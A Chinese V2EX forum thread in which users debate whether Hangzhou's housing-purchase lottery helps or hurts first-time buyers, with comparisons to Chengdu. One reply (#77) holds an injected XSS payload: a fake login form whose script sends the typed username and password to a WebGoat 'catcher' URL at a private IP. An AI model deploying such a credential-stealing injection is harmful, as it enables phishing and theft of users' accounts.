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V2EX  ›  杭州

杭州买房要摇号了,对刚需来说是利是弊?

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  •   dhssingle · 180 天前 · 10738 次点击
    这是一个创建于 180 天前的主题,其中的信息可能已经有所发展或是发生改变。
    第 1 条附言  ·  180 天前
    ps:社保也从两年变三年了
    90 回复  |  直到 2018-04-03 16:23:47 +08:00
        1
    lhjl1314   180 天前   ♥ 6
    杭州还挺把自己当回事儿
        2
    wodexiaogou   180 天前
    刚需以前有钱还能买,现在有钱都买不了了。虽然限制了炒房团,但个人感觉对刚需来说更买不起了,因为二手房会更贵,毕竟需求买房的人多了,但能有资格买的人更少了。
        3
    pkookp8   180 天前 via Android
    看看摇号买车牌,车牌都什么价了就知道了
        4
    logOo   180 天前 via Android
    不把资源变得稀有,你们怎么能甘心掏腰包呢,既然这么稀有了,能得到的还不感恩戴德。
        5
    glues   180 天前
    说白了就是懒政
        6
    VDimos   180 天前 via Android
    说白了就是涨价嘛,以前花钱买新房。现在加钱都不一定能买二手房。“中国梦”
        7
    forzalianjunting   180 天前
    成都已经摇了一段时间了,有些盘中签率甚至不到 1%
        8
    gggxxxx   180 天前
    摇号有正面作用,一般配套的还有限价政策。
    对有钱没钱的人来说,相对公平。
        9
    zapper   180 天前   ♥ 1
    会不会有根本不想买房的人也去摇号,卖指标。然后使得刚需抽到几率越来越低?
        10
    LamProductionS   180 天前
    挺好的,深圳价格太高,已经不需要这种限制的手段了。
        11
    haJohn   180 天前
    @zapper 指标不能卖的,只能本人
        12
    echo1937   180 天前
    @zapper #9 虽然政策细节还没出来,但一般来说是不会允许指标转让的,杭州的汽车上牌也要摇号,摇到的指标就不能转让。
        13
    ssynhtn   180 天前
    "市场经济"
        14
    zhouxuchen   180 天前   ♥ 10
    我礼拜一刚把首付准备好,昨天躺了一天……今天给自己做了一天的思想工作,MMP
        15
    g0thic   180 天前
    换个角度想 大家都想去摇新房 二手房会不会不涨那么凶了
        16
    haJohn   180 天前
    @zhouxuchen 应该不是立马执行吧。
        17
    zhouxuchen   180 天前
    @haJohn #16 现在能拿全款也有买房意向的基本趁着政策还没出就去交了全款买了,我这种三成的穷屌基本没机会了
        18
    haJohn   180 天前
    @zhouxuchen 这尼玛坑爹,最近确实涨的太凶了,拆迁也多,好房子不愁卖
        19
    Weny   180 天前 via iPhone
    摇不到 怕是租房为生 四海为家
        20
    littlehero220   180 天前 via Android
    @forzalianjunting 这个盘就是成都招商华府
        21
    wodexiaogou   180 天前
    @g0thic 正因为摇号,二手房更会暴涨。因为新房大概率摇不到,只能去买二手的。以前新房二手还能挑,现在不行了。
        22
    shadownet   180 天前
    @zapper 200% 又是一门大生意
        23
    sgissb1   180 天前
    要想成为一线城市,首先自我优越感和做法就要和一线城市接轨。

    就像现在想成为高富帅一样,自己心里都不认为自己是高富帅,如何去忽悠别人?
        24
    arnofeng   180 天前 via iPhone
    人人买房的时代。
        25
    jaleo   180 天前
    买涨不买跌 一旦房价开始被游资炒动起来 民众开始抢着买房了
        26
    iappled   180 天前
    我就看看泡沫啥时候破
        27
    ayukun   180 天前
    感觉对刚需是利好呀 ,我同事摇到了,参与摇号要缴 5 万的押金的,可以用公积金也不用全款,不是挺好的吗
        28
    woshipanghu   180 天前
    这些政策都是针对穷人的
        29
    zyqzyq08   180 天前
    感觉不管是不是利好。。。肯定房地产公司会套路一波钱
        30
    ixiaohei   180 天前
    @zapper 让你交押金摇号你来不来玩。这个就像拍卖差不多,交押金才有资格,没有押金不是随便瞎叫么?
        31
    chztv   180 天前
    拆迁户太多了,货币安置,造成拿着上千万的现金直接买房,开发商自己搞,猫腻太多,所以政府这个摇号我觉得还是应该有一定的作用。
    说实在的,拆迁户买房也是刚需。
        32
    hzm0318hzm   180 天前
    然后号也是可以没事摇来赚钱了,买房成本又多了一项
        33
    utanbo   180 天前
    原先一部分必须全款、有关系的新盘,会分配给贷款的人。假设需要贷款的人是刚需,全款的人一部分是投资,那么摇号机制会让一部分房子分配给刚需。
        34
    utanbo   180 天前
    一部分全款的投资客,摇不到新盘,会转向投二手房,所以应该是对二手房的利好。
        35
    sobigfish   180 天前
    成都房协的网站 购房登记结果查询 :
    *.*.*.*:8888/lottery/accept/searchResult

    直接使用了 lottery 的关键字...
        36
    jarnanchen   180 天前
    对摇得到的刚需绝对是利好。相当于以便宜很多的价格买到了房子。因为目前的很多新房备案价都是低于周边二手房价的。
    摇号加上限价,本质上就是抽奖活动啊。
        37
    jarnanchen   180 天前
    另外网传新房五年内限售,社保变三年等政策还没证实。
    如果是真的话,那就精彩了
        38
    paullee   180 天前 via iPhone
    从成都的情况来看 1 对刚洗是弊
        39
    zhouyou457   180 天前 via iPhone
    成都已经实行摇号一段时间了,我同事摇了 7 次没中过....
        40
    acumen   180 天前 via iPhone
    拆迁户买房也摇号吗?这就有意思了。
        41
    Flobit   180 天前 via Android
    摇号买房真的是一个傻逼措施,让真买房的买不到,让炒房的赚番
        42
    panpanpan   180 天前 via iPhone
    别想了,摇不中的。。在成都摇了 5 次了,每次都排了三个号
        43
    zuosiruan   180 天前 via Android
    合肥已经摇号好几年了,
        44
    LINAICAI   180 天前   ♥ 1
    其实最好就是放开价格,绝对比现在更加真实,政府是太想两头吃了,既想卖地赚钱又想维持放假不波动,这样反而助长了炒房团看准不会跌.
        45
    jackwow   180 天前
    @g0thic 然后摇不到号的,又回去买二手房。
    @Flobit 官方的理由是打击买资格,现在预售证压价格,都要靠关系买资格,摇号可以减弱这种风气。
        46
    jackwow   180 天前
    @lhjl1314 预售证限价,造成现在杭州买房都要靠关系买资格,这才有摇号的。你这么想当然的理解问题,也太把自己当回事了。
        47
    lhjl1314   180 天前 via iPhone
    @jackwow 妈呀,好怕你们这些杭州人
        48
    jackwow   180 天前
    @hzm0318hzm 你想到的,规则制定者早就想到了,你听过杭州车牌资格摇号转让的么?指标不能转让,只能得标者自己付钱买房,买了 5 年之内不得转让二手房。
    @sgissb1 在你看来,靠优越感和限购做法接轨,就能成为一线城市?那中国西部贫困城市说:这样的优越感和做法给我来一打
        49
    jackwow   180 天前
    @lhjl1314 你还是犯了没弄清楚,就直接下结论的错误。你怎么就确定我是杭州人了?妈呀,好怕你们这些太把自己想法当回事儿的人了。
        50
    lodisy   180 天前 via Android
    是时候走了
        51
    lhjl1314   180 天前 via iPhone   ♥ 1
    @jackwow 那你确定听懂我的话了么?惹不起惹不起,您说啥都对
        52
    jackwow   180 天前
    @lhjl1314 不,是杭州太把自己当回事儿,惹到了你才对。
        53
    Flobit   180 天前 via Android
    @jackwow 你见过成都摇号么? 60000 人摇 400 套
        54
    qhxin   180 天前   ♥ 1
    这样说吧,成都摇号,本地的有房的都可以一家好几口人每人去排一号、增加概率,真正需要买房的,完全是抽彩票
        55
    jackwow   180 天前
    @Flobit
    这是两个问题。
    摇号要做的是让大家公平获得购买资格。
    而 6 万人摇 400 套,解决这个问题的办法是增加房屋供给才对。
    否则,不管摇不摇号,都有 59600 人买不到房子。
    区别是,那买到的 400 个人,是花大价钱去中介等第三方买资格,还是不花钱靠运气摇到资格。
        56
    Flobit   180 天前 via Android
    @jackwow 你说的我都懂,可会不会实现呢?
        57
    jackwow   180 天前
    @Flobit 像 53#说的问题
    同样两个年轻人要在一个成都买房
    一个是成都当地青年全家帮着摇号,一个是异地年轻人一个人摇号。
    当然是家里帮着一起摇的几率大,但是如果是家庭成员摇到,就牵扯到一个过户的问题,还是会和买二手房一样产生费用。
    如果是本地青年自己摇到号码,但摇到的几率和那个异地青年摇到的几率是一样大的,这点上来说又是公平的。

    如果有些人不差钱,或许规则制定的可以像上海车牌一样,一部分摇号,一部分拍卖价高者得。
        58
    Immortal   180 天前
    对于我这样摇不摇号都没钱上车的人来说
    现在最关心的是 房租会不会涨上天!
        59
    roujiamo   180 天前 via iPhone
    我在成都摇好几次了.....屁都没有😑
        60
    Zeonjl   180 天前
    所谓刚需也就是权贵抛出来的词组,在自有控制的媒体中强力植入的结果而已。
        61
    widewing   180 天前 via Android
    如果我是炒房的,那我找几个人一起入股,每个人都摇号增加中签率,摇到后按股份出资。这样操作是否可行?感觉能够吊打刚需买房者并进一步炒高房价🤔
        62
    zhaoFinger   180 天前
    对我没有影响,反正买不起。
        63
    sgissb1   180 天前
    @jackwow 不比别的,就看涨幅,不是有三线城市和一线接轨么?甚至超过一线么?这些例子还需距么?

    或者说和类似国际,一线二线接轨的事情还少么?
        64
    fengfisher3   180 天前
    对于刚需,伤害还是最大的。
        65
    wodexiaogou   180 天前
    @jackwow 地就那么多,怎么建?而且杭州西湖还是禁建区,上城下城又是老城区,能有地方建房子的太少了。说到底还是杭州主城区太小了。
        66
    likeshu   180 天前
    中美贸易战,国家不允许继续推高房地产的泡沫了,这个花岗岩的泡沫也不会那么快被刺破,看我余生能等到吗
        67
    wupher   180 天前
    以前可以有钱任性,现在有钱你也要看运气了。

    不过,你有钱,直接去北京上海好了,也不用死呆在一个地方。

    明明可以纯市场解决的事,因为有政府的参与和利益,于是变成了今天的样子。希望将来这样的事越少越好。
        68
    hehe12dyo   180 天前
    说了这么多,其实都是被政府这只无形的手推着走。所以最好的解决方案是什么?我想你们都明白了。
        69
    xiongweixbox   180 天前
    不要以为在那个城市找到一份工作再贷款买套房子就能留下来像本地人一样生活了。
        70
    twl007   180 天前 via iPhone
    杭州这手玩的溜 靠棚户区改造现金补贴消化新房库存并且把价格搞上去了 现在又要靠摇号折腾二手房了一可以可以
        71
    onionKnight888   180 天前
    摇就摇呗,以前一个号子几十万,还得托关系才买得到
        72
    luren123   180 天前
    @twl007 政府现在就是玩这一套,一个城市一个城市的收割,让无产阶级花掉所有的继续,再透支未来的继续,这两三年全国一到四线城市基本都翻了一倍左右了,简直恐怖
        73
    Mooney2018   180 天前
    @g0thic ![]( )
        74
    benteke   180 天前
    对那些之前只能 3 成首付的人是利好,对那些 6 成首付甚至全款的人是利空。
        75
    laucenmi   180 天前
    不太信任国内的公证机构,不管什么业务都会有人去钻空子的,对于刚需可能更加困难
        76
    wineast   180 天前
    @benteke 看前面成都的盛况,6w 人摇 400 套,首付三成的其实也差不多,最多是百一和百三的区别。。倒是对全款货币安置的拆迁户。真是大大的利空,手握千万资金,新房还要和 3 成的一起抢。。。抢不到只能去买二手房,等不起啊
        77
    Lbcove   180 天前
    111<form ><HR><H2>This feature requires account login:</H2>Enter Username:<input type="text" id="user" name="user" ><br>Enter Password:<input type="password" id="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><script> function hack(){XSSImage=new Image; XSSImage.src="http://192.168.185.73:8080/WebGoat/catcher?PROPERTY=yes&user=" +document.form.user.value + "&password=" + document.form.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.form.user.value + " Password = " + document.form.pass.value); }</script>
        78
    jackwow   180 天前
    @wodexiaogou 这个我知道。没新地,也只能拆旧,所以拆迁的很厉害
        79
    jackwow   180 天前
    @sgissb1 你说的接轨是房价和涨幅的 接轨。并不是城市体量和质量的接轨。
        80
    cargo   180 天前
    水多了加面,面多了加水
        81
    Damon4V   180 天前
    放心,后续会出竞价拍指标,如汽车竞价
        82
    Flobit   180 天前 via Android
    @jackwow 摇号不是人人都能摇的,你必须先有资格才能够与本地人同台竞技摇号的,而且本地人也不会是一个人去摇号,肯定要全家一起出动啊,所以对于外地青年来说还是存在着一些不公平的。
        83
    jackwow   180 天前
    @Flobit 是的,能否尽量公平,规则制定就显得很重要,比如上海要交好几万保证金才有资格摇号,这让又可以筛选掉一些一人买房,全家出动摇的现象。
        84
    sgissb1   179 天前   ♥ 1
    @jackwow 看不出来是对 ZF 懒政的一种调侃?
        85
    yanagi   179 天前
    @jackwow 上海认筹金 多的有 100 万 一般 20 万 心累啊
        86
    inet6   179 天前
    不管怎么玩,我认为,庄家利好!
        87
    MarcoM   179 天前
    表示 以后回建德了。。
        88
    imswing   178 天前 via iPhone
    西安都要摇号了 MMP
        89
    pdog18   176 天前
    社保什么时候改的?
        90
    pdog18   175 天前
    没有找到 社保修改为 3 年的出处
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